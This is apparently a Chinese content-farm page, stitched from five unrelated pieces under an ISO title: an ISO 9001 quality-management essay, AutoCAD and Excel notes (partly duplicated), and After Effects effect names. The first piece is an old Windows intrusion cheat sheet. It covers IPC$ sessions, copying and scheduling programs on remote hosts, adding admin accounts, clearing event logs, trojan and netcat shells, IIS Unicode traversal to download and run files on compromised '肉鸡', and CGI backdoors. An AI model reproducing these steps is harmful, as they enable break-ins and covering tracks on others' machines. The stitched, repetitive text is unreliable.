iso功能和命令总结
iso功能和命令总结(精选5篇)
iso功能和命令总结 第1篇
常用的几条NET命令:
====
(与远程主机建立空管连接)net use IP地址ipc$ “" /use:”“
(以管理员身份登录远程主机)net use IP地址ipc$ ”密码“ /use:”Administrator“
(传送文件到远程主机WINNT目录下)copy 本机目录路径程序 IP地址admin$
(查看远程主机时间)net time IP地址
(定时启动某个程序)at IP地址 02:18 readme.exe
(查看共享)net view IP地址
(查看netbios工作组列表)nbtstat-A IP地址
(将远程主机C盘映射为自己的F盘)net use f: IP地址c$ ”“/user:”Administrator“
(这两条把自己增加到管理员组): net user 用户名 密码 /add
net localgroup Administrators 用户名 /add
(断开连接)net use IP地址ipc$ /delete
=======
擦屁屁:
del C:winntsystem32logfiles*.*
del C:winntsystem32config*.evt
del C:winntsystem32dtclog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log ============================
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
netsvc /list IP地址
netsvc schedule IP地址 /query
netsvc IP地址 schedule /start
二、OpenTelnet.exe
远程启动主机的Telnet服务,并绑定端口到7878,例如:
OpenTelnet IP地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口,进入DOS方式下:
telnet IP地址 7878
三、winshell.exe
一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
p Path(查看winshell主程序的路径信息)
b reBoot(重新启动机器)
d shutDown(关闭机器)
s Shell(执行后你就会看到可爱的“C:>”)
x eXit(退出本次登录会话,此命令并不终止winshell的运行)
CMD> http://.../srv.exe(通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的五、elsave.exe
事件日志清除工具
elsave-s IP地址-l ”application“-C
elsave-s IP地址-l ”system“-C
elsave-s IP地址-l ”security“-C
执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot [/r]
使用/r表示安装完成后自动重起目标使设置生效。
七、nc.exe(netcat.exe)
一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
想要连接到某处: nc [-options] hostname port[s] [ports]...绑定端口等待连接: nc-l-p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12,...-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp-i 本机IP地址 get 文件名 c:winntsystem32文件名
然后可以直接令文件运行:
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。
一、一 Xscan命令行运行参数说明:
在检测过程中,按”[空格]“键可以查看各线程状态及扫描进度,按”q“键保存当前数据后提前退出程序,按”“强行关闭程序。
1.命令格式: xscan-host [-] [其他选项]
xscan-file [其他选项]
其中 含义如下:
-port : 检测常用服务的端口状态(可通过datconfig.ini
文件的”PORT-SCAN-OPTIONSPORT-LIST“项定制待检测端口列表);
-ftp : 检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件);
-ntpass : 检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件);
-cgi : 检测CGI漏洞(可通过datconfig.ini文件的”CGI-ENCODEencode_type“项设置编码方案);
-iis : 检测IIS漏洞(可通过datconfig.ini文件的”CGI-ENCODEencode_type"项设置编码方案);
[其他选项] 含义如下:
-v: 显示详细扫描进度
-p: 跳过Ping不通的主机
-o: 跳过没有检测到开放端口的主机
-t : 指定最大并发线程数量和并发主机数量, 默认数量为100,10
iso功能和命令总结 第2篇
9001体系的核心价值有5项。即凡事有人负责---人人有职责,因事设岗,因岗招人,因人定责,让每个人都在既定框架内履行工作职责。凡事有章可循---事事有程序,针对组织经营活动不同工作范畴类型,制定出标准流程和顺序,让每个部门每个人在遇到各类事情时都能按部就班照章行事。凡事有据可查---作业有标准,根据各种工作岗位的特点制定出任务完成验收标准和达到标准的过程、方法、要素、数据等指导,让员工有方向指引和能力帮助,避免独自摸索用教训长进。凡事有人监督---体系有监督,从管理学的督导原理出发,对每个人每件事情或任务的完成结果进行查核,看结果是否达标、流程是否正确、过程有无遗漏、避免意外因素导致的停滞或不符合影响。犯错误有改进---不良有纠正,让做事情的人在犯过错误后会总结经验教训、会吃一堑长一智、同时学会前事不忘后事之师、找到怎样避免犯错亡羊补牢未雨绸缪的方法并公之于众。
9001管理体系条理分明、脉络清晰。内容架构有根据公司经营目标制定的质量手册和质量方针,为了让各部门之间有效配合协作制定出的程序文件,为了让员工工作更准确制定出配套的制度规程和作业指导书,为了防止员工人为疏漏和懒惰制定出每日任务完成的表单填写记录凭证。环环相扣、层层对应,是一套切实有效的管理工具。只要脚踏实地的去做,肯定就会有效果。在执行初期可能很多人都会不适应,觉得很繁琐(不去记录表格用口头表达看上去很简单,但工作一出现纠葛就会陷入互相扯皮相互指责的漩涡,会比做表格麻烦很多倍,且问题会不定时出现),但只要坚持下来就会产生价值。
9001管理体系重新诠释了品质的概念,这里对质量有两种定义。一方面是产品本身的硬质量,即可量化的标准和要求,对产品的具体数据衡量。是品质的原始字面意义,品乃众人之口,质为斤斤计较,就是站在客户或用户的角度来考量产品。另一面是各岗位的工作质量,即该岗位的工作表现、任务完成情况、管理思路和管理方法运用的质量(计划、执行、监督、循环PDCA法),是做事的质量,这里的质量意义要高过前边的质量意义,因为先有部门的工作质量才有硬性的产品质量,产品质量的保障标准来源于各部门工作质量的规范标准,这里更多强调执行环节的督导,强调标准化作业方法。
另外,9001体系从横向、纵向、直观、微观几个维度对品质管理工作的细节和操作方式也做了相应规范。如9001强调全方位涵盖经营管理的各个流程,强调细节。而品质就是来源于细节(细节来自很多方面,细节量化起来比较麻烦,细节表述起来很拗口,人们本能不喜欢细枝末节、鸡毛蒜皮的事情,但这些都是产品质量反映出来的一部分,没有这些细节,品质就会变成傻大粗的样子,粗糙粗放框架型的品质概念已经不适应现在市场竞争的要求)。9001强调协作与配合、需要大家积极参与、深度关注。而品质也是来源于关注(只有全员重视,从核心管理层到车间基层员工,所有部门协同参与,从接单到设计到生产制造、到检验、出货每个环节的管控才会有结果。品质工作来源于每个部门的深度关注,品质是严谨设计出来的,品质是采购把关保障的,品质是生产精密制造来的,品质是细心检验督导来的)。9001强调定期内审和管理评审工作的重要性,要定期检讨反省工作是否督导落实到位,是否持之以恒进行,有无一曝十寒的现象。而品质同样来源于坚持(需要全员持续重视,毫不
松懈,要求大家对待品质的信念应该固化为工作的一部分,不能搞运动式管理,不能三天打鱼两天晒网时紧时松。要做到无论客户有没投诉,品质管理控制自始至终都要保持高标准)9001强调一切文件规范书面化,透明化。要求一切工作按条款和既定标准进行。同时强调标准制定要严谨准确,因为法无明文规定即不为罪,无明文制度规定即不为过,如果标准没有要求,责任就无法判定。责任就无从查起。在制度面前,中国人一贯有讲究情理法、执行时打折扣的恶习(取法其上得乎其中的恶习毛病),有时候制度有规定我们都做不到,制度没有规定的更不用说,做到也可以,不做也没关系,就是没有衡量基准和凭据导致的恶果。所以,要针对各个环节订立明确的规范标准-----然后强力督导所有部门围绕这些标准找方法,逐步建立按质量要求做好、最大程度预防问题出现的举措。
AutoCAD_命令增强功能 第3篇
1.合并线段
您可以将直线、圆、椭圆弧和样条曲线等独立的线段合并为一个对象,AutoCAD_(8)命令增强功能
。在本例中,选择了两条不连续的直线段。JOIN 命令将两条直线连接起来,创建了一条单一的直线段。您也可以合并具有相同圆心和半径的多条连续或不连续的弧线段。在本例中,选择了两条不连续的圆弧。JOIN 命令创建了一条单一的圆弧,将第一条圆弧和第二条圆弧连接起来。您也可以合并连续或不连续的椭圆弧线段。在本例中,选择了两条不连续的椭圆弧。JOIN 命令创建了一条单一的椭圆弧,将第一条圆弧和第二条圆弧连接起来。您也可以封闭椭圆弧。在本例中,将延长开口椭圆的端点,以形成一个封闭的椭圆。您也可以合并一条或多条连续的样条曲线。在本例中,选择了两条连续的样条曲线。JOIN 命令创建了一条样条曲线,将第一条样条曲线和第二条样条曲线通过其连接点连接起来。您也可以将一条多段线与一条或多条直线、多段线、圆弧或样条曲线合并在一起。在本例中,选择了两条连续的样条曲线。JOIN 命令创建了一条样条曲线,将第一条样条曲线和第二条样条曲线通过其连接点连接起来。 2.倒角和圆角现在,FILLET 和 CHAMFER 更加高效。使用其中任意一个命令时,都可以使用“多个”选项为多组直线添加圆角或倒角,而不必重新启动命令。现在,当您处在 CHAMFER 和 FILLET 命令的“多个”模式下时,可以使用“放弃”选项。按住 SHIFT 键并选择两条直线,可以快速创建零距离倒角或零半径圆角。3.复制、旋转和偏移复制和旋转多个对象在修改对象时,借助夹点模式,可以创建对象的多个副本。如本例中所示,通过使用“旋转复制”选项,可以旋转矩形,并在指定的点留下副本。按角度间隔复制多个对象,在放置多个旋转的副本时,可以指定旋转角度。如本例所示,通过使用“旋转”夹点模式的“多个”选项,将块按 90 度角旋转复制多个副本。创建多个偏移,现在可以将对象偏移多次,而无需退出该命令。选择要偏移的对象后,请指定“多个”选项,然后连续单击要创建偏移对象的对象一侧。4.旋转和缩放ROTATE 和 SCALE 命令现在具有“复制”选项。旋转或缩放对象时,您可以使用此选项在旋转和缩放的同时复制对象。5.修剪和延伸现在可以使用选择栏和窗交方式一次修剪和延长多个对象。您可以看到此处采用栏选方式来修剪一系列对象。在本例中,使用窗交方式来修剪对象。默认的“全部选择”选项使您能够快速选择所有可见的几何图形,以用作剪切边或边界边。也可以按 SHIFT 键,在“修剪”和“延伸”命令之间切换。 6.拉伸和移动STRETCH 和 MOVE 命令现在具有一个位移选项,可用来设置相对距离和方向。最后输入的位移值会被保留。STRETCH 只会移动完全包含在交叉窗口内的顶点和端点。部分包含在交叉选择窗口内的对象将被拉伸。使用 STRETCH 命令,现在可以用交叉窗口选择多个对象的多个部分并同时拉伸它们。单击要移动的多个对象。在本例中,将同时拉伸多个对象的选定部分。7.按面积/旋转角度创建矩形现在,您可以在创建矩形时指定其面积和旋转角度。您可以通过指定面积和一个维度(长度或宽度)来创建矩形。程序将计算另一个维度并完成矩形。您可以通过指定旋转角度来创建矩形:启动 RECTANG 命令,输入旋转角度,使用鼠标来对齐矩形,拾取两个参考点,倒角或圆角的矩形,如果矩形被倒角或圆角,则长度或宽度计算中会考虑此设置。如果长度或宽度太小而无法使用当前设置创建矩形,那么绘制出来的矩形将不进行圆角或倒角。 8.弧长标注可用使用弧长标注来测量和显示圆弧的长度。可以在标注样式管理器中设置标注样式。选择圆弧后,拖动光标以显示其标注。访问弧长选项的步骤:单击“标注”菜单 >“弧长”,命令提示:DIMARC,弧长标注通过以下方式表示:标注文字上方或前面的弧长符号,从圆弧的起点到端点的尺寸线,显示圆弧的起点和端点的尺寸界线9.折弯半径标注如果圆弧或圆的圆心位于图形边界之外,您可以使用折弯标注测量并显示其半径。添加折弯半径标注的步骤:单击“标注”菜单 >“折弯”,命令提示:DIMJOGGED,选择对象后,指定尺寸线原点、尺寸线位置以及尺寸线中折弯的位置。10.标注线形您可以使用“标注样式”对话框和“特性”选项板为尺寸线和尺寸界线指定不同的线型。更改标注线型的步骤:单击“标注”>“标注样式”,命令提示:DIMSTYLE,您也可以使用“加载或重载线型”对话框加载并使用外部 LIN 文件中的线型。 11.翻转标注箭头您可以更改标注上每个箭头的方向。先选择要改变其方向的箭头,然后单击鼠标右键并单击“翻转箭头”。第一个图形显示箭头的默认方向。样例中显示了翻转箭头后箭头方向的变化。12.编辑图案填充边界您可以使用“图案填充编辑”对话框编辑图案填充边界。使用“边界”区域中的选项可以添加、删除和重新创建边界,还可以查看当前选择。您可以在创建图案填充或编辑图案填充时添加或删除内部孤岛。在本例中,使用“删除边界”选项并选择最大的圆形边界来填充一个孤岛。1.合并线段
您可以将直线、圆、椭圆弧和样条曲线等独立的线段合并为一个对象。在本例中,选择了两条不连续的直线段。JOIN 命令将两条直线连接起来,创建了一条单一的直线段。您也可以合并具有相同圆心和半径的多条连续或不连续的弧线段。在本例中,选择了两条不连续的圆弧。JOIN 命令创建了一条单一的圆弧,将第一条圆弧和第二条圆弧连接起来。您也可以合并连续或不连续的椭圆弧线段。在本例中,选择了两条不连续的椭圆弧。JOIN 命令创建了一条单一的椭圆弧,将第一条圆弧和第二条圆弧连接起来。您也可以封闭椭圆弧。在本例中,将延长开口椭圆的端点,以形成一个封闭的椭圆。您也可以合并一条或多条连续的样条曲线。在本例中,选择了两条连续的样条曲线。JOIN 命令创建了一条样条曲线,将第一条样条曲线和第二条样条曲线通过其连接点连接起来。您也可以将一条多段线与一条或多条直线、多段线、圆弧或样条曲线合并在一起。在本例中,选择了两条连续的样条曲线。JOIN 命令创建了一条样条曲线,将第一条样条曲线和第二条样条曲线通过其连接点连接起来。 2.倒角和圆角现在,FILLET 和 CHAMFER 更加高效。使用其中任意一个命令时,都可以使用“多个”选项为多组直线添加圆角或倒角,而不必重新启动命令。现在,当您处在 CHAMFER 和 FILLET 命令的“多个”模式下时,可以使用“放弃”选项。按住 SHIFT 键并选择两条直线,可以快速创建零距离倒角或零半径圆角。3.复制、旋转和偏移复制和旋转多个对象在修改对象时,借助夹点模式,可以创建对象的多个副本。如本例中所示,通过使用“旋转复制”选项,可以旋转矩形,并在指定的点留下副本。按角度间隔复制多个对象,在放置多个旋转的副本时,可以指定旋转角度。如本例所示,通过使用“旋转”夹点模式的“多个”选项,将块按 90 度角旋转复制多个副本。创建多个偏移,现在可以将对象偏移多次,而无需退出该命令。选择要偏移的对象后,请指定“多个”选项,然后连续单击要创建偏移对象的对象一侧。4.旋转和缩放ROTATE 和 SCALE 命令现在具有“复制”选项,旋转或缩放对象时,您可以使用此选项在旋转和缩放的同时复制对象。5.修剪和延伸现在可以使用选择栏和窗交方式一次修剪和延长多个对象。您可以看到此处采用栏选方式来修剪一系列对象。在本例中,使用窗交方式来修剪对象。默认的“全部选择”选项使您能够快速选择所有可见的几何图形,以用作剪切边或边界边。也可以按 SHIFT 键,在“修剪”和“延伸”命令之间切换。 6.拉伸和移动STRETCH 和 MOVE 命令现在具有一个位移选项,可用来设置相对距离和方向。最后输入的位移值会被保留。STRETCH 只会移动完全包含在交叉窗口内的顶点和端点。部分包含在交叉选择窗口内的对象将被拉伸。使用 STRETCH 命令,现在可以用交叉窗口选择多个对象的多个部分并同时拉伸它们。单击要移动的多个对象。在本例中,将同时拉伸多个对象的选定部分。7.按面积/旋转角度创建矩形现在,您可以在创建矩形时指定其面积和旋转角度。您可以通过指定面积和一个维度(长度或宽度)来创建矩形。程序将计算另一个维度并完成矩形。您可以通过指定旋转角度来创建矩形:启动 RECTANG 命令,输入旋转角度,使用鼠标来对齐矩形,拾取两个参考点,倒角或圆角的矩形,如果矩形被倒角或圆角,则长度或宽度计算中会考虑此设置。如果长度或宽度太小而无法使用当前设置创建矩形,那么绘制出来的矩形将不进行圆角或倒角。 8.弧长标注可用使用弧长标注来测量和显示圆弧的长度。可以在标注样式管理器中设置标注样式。选择圆弧后,拖动光标以显示其标注。访问弧长选项的步骤:单击“标注”菜单 >“弧长”,命令提示:DIMARC,弧长标注通过以下方式表示:标注文字上方或前面的弧长符号,从圆弧的起点到端点的尺寸线,显示圆弧的起点和端点的尺寸界线9.折弯半径标注如果圆弧或圆的圆心位于图形边界之外,您可以使用折弯标注测量并显示其半径。添加折弯半径标注的步骤:单击“标注”菜单 >“折弯”,命令提示:DIMJOGGED,选择对象后,指定尺寸线原点、尺寸线位置以及尺寸线中折弯的位置。10.标注线形您可以使用“标注样式”对话框和“特性”选项板为尺寸线和尺寸界线指定不同的线型。更改标注线型的步骤:单击“标注”>“标注样式”,命令提示:DIMSTYLE,您也可以使用“加载或重载线型”对话框加载并使用外部 LIN 文件中的线型。 11.翻转标注箭头您可以更改标注上每个箭头的方向。先选择要改变其方向的箭头,然后单击鼠标右键并单击“翻转箭头”。第一个图形显示箭头的默认方向。样例中显示了翻转箭头后箭头方向的变化。12.编辑图案填充边界您可以使用“图案填充编辑”对话框编辑图案填充边界。使用“边界”区域中的选项可以添加、删除和重新创建边界,还可以查看当前选择。您可以在创建图案填充或编辑图案填充时添加或删除内部孤岛。在本例中,使用“删除边界”选项并选择最大的圆形边界来填充一个孤岛。13.计算图案填充的面积您可以使用“特性”窗口中新的“面积”特性快速测量图案填充的面积。在图案填充上单击鼠标右键,然后单击“特性”即可查看其面积。本例显示了圆中图案填充的面积。如果选择多个图案填充,可以查看它们的总面积。14.创建独立的图案填充将同一个填充图案同时应用于图形的多个区域时,可以指定每个填充区域都是一个独立的对象。以后,您可以修改一个区域中的图案填充,而不会改变所有其他图案填充。15. 图案填充原点特性您可以通过指定图案基于的原点来更改图案填充的对齐方式。您可以:使用当前原点,通过拾取点来设置位置,指定图案的角点作为原点,使新的原点设置成为默认设置。16.重新创建图案填充边界您可以在图案填充周围重新创建一个边界并将其与图案填充对象相关联(后者为可选操作)。重新创建的图案填充边界可以是多段线或面域对象。单击填充图案并选择“重新创建边界”选项后,将创建新的图案填充边界。还可以使用“关联”选项将边界与图案填充相关联。这样,当您调整边界的大小时,将自动调整图案填充的大小。 如果图案填充丢失了与其边界的关联,您可以重新创建边界,而不必删除并重新创建图案填充。17.在位编辑器使用在位文字编辑器,现在可以查看文字与图形的准确关系。如本图中所示,在位文字编辑器显示了顶部带有标尺的边框和更新的“文字格式”工具栏。您还可以从 ASCII 或 RTF 格式输入或粘贴文字。访问此命令的步骤:单击“绘图”菜单 >“文字”>“多行文字”,命令提示:MTEXT单击“文字格式”工具栏上的“选项”按钮,可以访问新的格式设置,包括项目符号和列表。在位文字编辑器是透明的,因此在其中输入文字时还可以看到背景。要关闭透明性,请选择“选项”菜单上的“不透明背景”选项。 18.项目序号和编号多行文字现在可以格式化为用项目符号、数字或字母编号的列表。还可以设置子项列表格式并自动进行更新。可以将列表格式应用到选定的文字,以便在输入时创建列表。可以将格式应用到新输入的文字或选定的文字上。访问此选项的步骤:“文字格式”工具栏 >“选项”按钮 >“项目符号和列表”在“在位文字编辑器”中,单击鼠标右键,然后单击“项目符号和列表”。19.个性化工作空间可以创建和保存简化的工作空间,使其仅包含您在特定的任务中最常用的工具栏、工具选项板和菜单。然后,在您转到不同的任务时,就可以快速在工作空间之间进行切换。在“工作空间设置”对话框中,您可以指定默认的工作空间,在工作期间自动保存工作空间的变化,以及设置工作空间的显示次序。可以通过以下三种方式来访问工作空间设置:从“窗口”菜单、在命令行中或者在“工作空间”工具栏上。要在工作空间之间进行切换,请单击“窗口”菜单 >“工作空间”,然后选择某个保存的工作空间。也可用从命令行或“工作空间”工具栏切换工作空间。20.临时替代键 在操作过程中,可以通过按下某个键或组合键临时打开或关闭绘图辅助工具。有关临时替代键的信息可以通过工具菜单下的自定义界面对话框进行查询。 21.从块属性提取数据提取属性信息可以方便地直接从图形数据中生成日程表或 BOM 表。新的向导使得此过程更加简单。要访问数据提取向导,请单击“工具”菜单并单击“属性提取”。“属性提取”向导将引导您选择图形、块实例和属性。这些信息可用于在当前图形中创建表格或保存到外部文件中以供将来重复使用。 22.管理比例缩放列表您可以使用“编辑比例缩放列表”对话框管理用于视口、页面布局和打印的比例缩放列表。您可以添加、修改和删除比例,还可以重新排列比例缩放列表,在顶部显示最常用的比例。访问“编辑比例缩放列表”对话框的步骤:单击“格式”菜单 >“比例缩放列表”命令提示:SCALELISTEDIT。23.锁定工具栏和选项列表 在新的操作环境中,您可以使用锁定工具栏和选项列表功能来锁定工具栏和选项列表,从而防止它们移动。锁定状态由界面右下方的挂锁图表显示,可以鼠标单击挂锁图标,在弹出的菜单中选择锁定状态,也可以直接选择窗口菜单下的锁定位置来进行同样的操作。 以对工作空间对话框的操作为例子来说明。iso功能和命令总结 第4篇
选择“开始” -> “剪贴板”-> “粘贴”将己选单元格或区域的一个副本移动到Windows 剪贴板和office 剪贴板中,执行上述复制操作后,选择要粘贴的单元格并选择“开始”->“剪贴板”->“粘贴” 。
除了使用“开始”->“剪贴板”->“粘贴”外,也可以只激活目标单元格并按Enter 键。如果使用这种技巧,则Excel 从剪贴板删除已复制信息, 不能再次粘贴。
注意:如采在羊击“粘贴”按钮之前不止一次羊击“复和IJ ”按钮, Excel 会自动显示Office 剪贴板任务栏。要避免此任务栏出现,单击底部的“选项”按钮然后清除“自动显示Office 剪贴板”中复选框。
了解Office剪贴板
无论什么时候从Windows 程序剪切或复和l 信息, Windows 都会在Windows 剪贴板上存储信息,剪贴板是计算机存储器的一个区域.每次剪切或复制信息时, Windows 都会用剪切或复制的新信息替换原来存储在剪贴板上的信息. Windows 剪贴板能以多种格式存储数据.因为Windows 管理剪贴板上的信息,所以不管信息在何处创建,它都可以被粘贴到其他Windows程序.
Office 有它自己的剪贴板一一Office 剪贴板,只在Office 程序中可用.无论什么时候在Office程序中(如Excel) 剪切或复制信息,程序都会将信息放在Windows 剪贴板和Office 剪贴板上. 但是程序处理Office 剪贴板上的信息不同于处理Windows 剪贴板上的信息.程序不是替换Office剪贴板上的信息,而是在Office 剪贴板上追加信息,在剪贴板上存储了多项之后,可以分别粘贴各项或者成组粘贴项.
iso功能和命令总结 第5篇
一定要看的----AE特效命令功能中英文对照
Adjust 调节特效
Brightness &Conrtast
亮度和对比度
Channel Mixer
通道混合 Color Balance
颜色平衡
Color Stabilzer L*
Curues
曲线控制
Hue/Saturation
色调饱和度
Levels(Individual Controls)
灰度级
Posterize
色调分离
Threshold
阈值
Channel通道特效
Alpha Levels
调节图像Alpha通道
Arithmetic
算法
Blend
混合
Cineon Lonverter
转换Cineon帧文件
Compound Arithmetic
复合算法
Invert
转化
Minimax
扩亮扩暗
Remove Color Mating
删除蒙板颜色
Set Channels
设置通道
Set Mattle
设置蒙板
Shift Channels
转换通道
Image Control图像控制特效
Change Color
颜色转变
Color Balance(HLS)颜色平衡(HLS)
Colorama
彩光
Equalize
均衡
Gamma(中介曲线)/pedestal(最低输出值)/Gain(最大输出值)
调整每个通道的反应曲线
Median
中值
PS Arbitary Map
映像
Tint
色彩
Keying键控特效
Color Difference Key
对图像中含透明或半透明的素材键出
Color Key
对指定色键出
Color Range
对Lab,Yuv或RGB等不同颜色空间键出
Difference Matte
通过一个对比层与源层进行比较然后将源层中位置和颜色与对比层中相同的像素输出
Extract
通过指定一个亮度范围产生透明,键出图像中所有与指定键出亮度相近的像素,主要用于背景与保留对象明暗对比度强烈的素材
Inner Outer Key
指定两个遮罩路径,一个键出范围内边,一个键出范围外边,系统根据内外遮罩进行差异比较
哈尔滨完美动力
Linear Color Key
通过指定RGB,HUE或Chroma键出,也可保留前边使用键控变为透明的颜色
Luma Key
键出与指定明度相似的区域适用,对比强烈图
Paint艺术化特效
Vector Paint
模仿绘画,书写等过程性动画效果
Render艺术化特效
Audio Spectrum
将指定的声音以其频谱形式图像化
Beam
激光效果
Audio Waveform
以波形指定的音频图像化
Ellipse
依据给定的尺寸在图像上画一椭圆
Fill
以选定的颜色对目标遮罩进行填充
Fractal
纹理效果(万花筒)
Fractal Noise
产生闪电效果或其它的电子特技效果
Lighthing
产生闪电效果或其它的电子特技效果
Radio Waves
沿效果点中心向外扩展发射出无线电波的波纹
Ramp
在图像上创建一个彩色渐变斜面,可以将其原图融合 Stroke
沿指定的路径产生描边效果
Vegas
沿图像轮廓或指定的路径进行艺术化描边
Stylize风格化效果(模仿各种画风模拟真实的艺术手法创作)
Brush Strokes
产生画笔描绘的粗糙外观效果
Color Emboss
产生彩色浮雕效果
Emboss
产生单色浮雕效果
Find Edges
强化颜色变化区域的过渡像素,模仿铅笔色边效果
Glow
搜索图像中明亮部分,然后对周像素明亮化,产生扩散的辉光效果
Leave Color
使指定颜色保持不变,而把其它部分转换成灰色显示
Mosaic
分割图像为许多正方形的方格,马赛克效果
Motion Tile
将多个源图像作为磁片复制到输出,屏幕分割为许多个正方形
Noise
在图像中加入细小的杂点,产生噪波效果
Scatter
在不改变每个独立象素色彩的前提下重新分配产生模糊的,涂抹的外观
Strobe Light
产生闪烁的效果
Texturize
指定层的纹理射到当层图像上
Write On
在指定层中产生笔书写效果
Simulation仿真特效
Card Dance
根据指定层的特征分割画面,产生舞踏的效果
Caustics
模拟气泡,水珠等流体效果
Shatter
对图像进行粉碎爆炸处理,产生爆炸飞散的碎片
Wave World
创造液体波纹效果
Particle Playground
产生大量相似物体独立运动的动画效果
Audio音效效果
Backwards
将声音从结束关键帧播放到开始关键帧,实现反向播放
Base & Treble
调整音频层音调
Delay
精确控制声音的延迟和调制,达到回声效果
Flange & Chorus
合成两种分离的音频特技效果
哈尔滨完美动力
High-Low Pass
将低音和高音从声音中滤出
Modulator
通过变化频率和振幅给音频加颤音,比如逐渐消失 Parametric EQ
精确调整音频的声调
Reverb
表现宽阔的真实回声效果
Stereo Mixe
混合左右声道,产生一个声道到另一声道的完整音频 Tone
产生各种特技效果 Blue & Sharpen模糊和锐化
Channel Blur
对图像中的RGB和ALPHA通道进行单独的模糊 Compound Blur
沿指定的模糊层的的亮度为基准,对当层模糊 Directional Blur
沿指定方面产生模糊 Fast Blur/Gaussian Blur
高度模糊
Radial Blur
以效果点为基准,产生辐射模糊
Sharpen
通过相邻像素点之间的对比度进行图像清晰化 Unsharp Mask
通过增加定义边缘颜色的对比度产生边缘锐化效果 Distort 扭曲特效
Bezier Warp在层的边界上沿一条封闭的Bezier曲线变形图像 Bulge以效果点为基准对图像进行变形处理使图像产生凹凸 Corner Pin通过改变图像四个边角的位置变形图像
Displacement Map以指定层的像素颜色值为基准变形产生变形效果 Mesh Warp在层上使用网格的Beizer切片控制图像的变形区域 Mirror沿分割线划分图像并反向一边图像到另一边
Offset根据设定的偏量对图像进行偏移对图像推向另一边 Optics Compensation产生摄像机透镜变形的效果
Polar Coordinatess将直角坐标转为极坐标或将极坐标转为直角坐标 Reshape产生涟漪效果,以圆心为轴向四周扩散
Smear在图像中定义一个区域内图像进行偏移延伸和变形 Spherize球面化效果,可以改变球形效果点位置 Transform产生二维几何变化
Twirl围绕指定点旋转图像,产生漩涡效果
Wave Warp在指定的参数范围内随机产生弯曲的波浪效果 Perspective三维空间
Basic 3D建立一个虚拟的三维空间,在三维空间中对对象进行操作 Bevel Alpha在图像的Alpha通道区域出现导角外观 Bevel Edges在图像边缘产生导角外观
Drop shadow沿图像的Alpha通道边缘为图像制作阴影特效 Text文本
Basic Text文本
Numbers产生随机和连续的数字效果 Path Text使文字沿路进行动画 Time时间
Echo在层的不同点上合成关键帧,对前后帧进行混合,产生拖影或运动模糊 Postering Time为当前层指定一个新的帧速率产生特殊效果 Time Displacement通过按时转换像素以变形影像,产生各效 Transitions两个镜头间如何进行连接
哈尔滨完美动力
BlockDissolve以随机的方块对两个层的重叠部分进行切换 Card Wipe和指定切换层进行卡片的反转擦拭 Gradient Wipe以指定层的亮值建立一个渐层
Iris Wipe指定顶点数产生多边形,对图像进行切换 Radial Wipe在指定的环绕方向上呈辐射擦拭层素材 Venetian Blinds在层素材或合成图像上产生百叶窗效果 Linear Wipe在层指定方向上显示擦拭效果,显示底层画面 Video视频效果
Brdcast Colors(广播级颜色)调整像素色彩的值 Reduce Interlace Flicker
iso功能和命令总结
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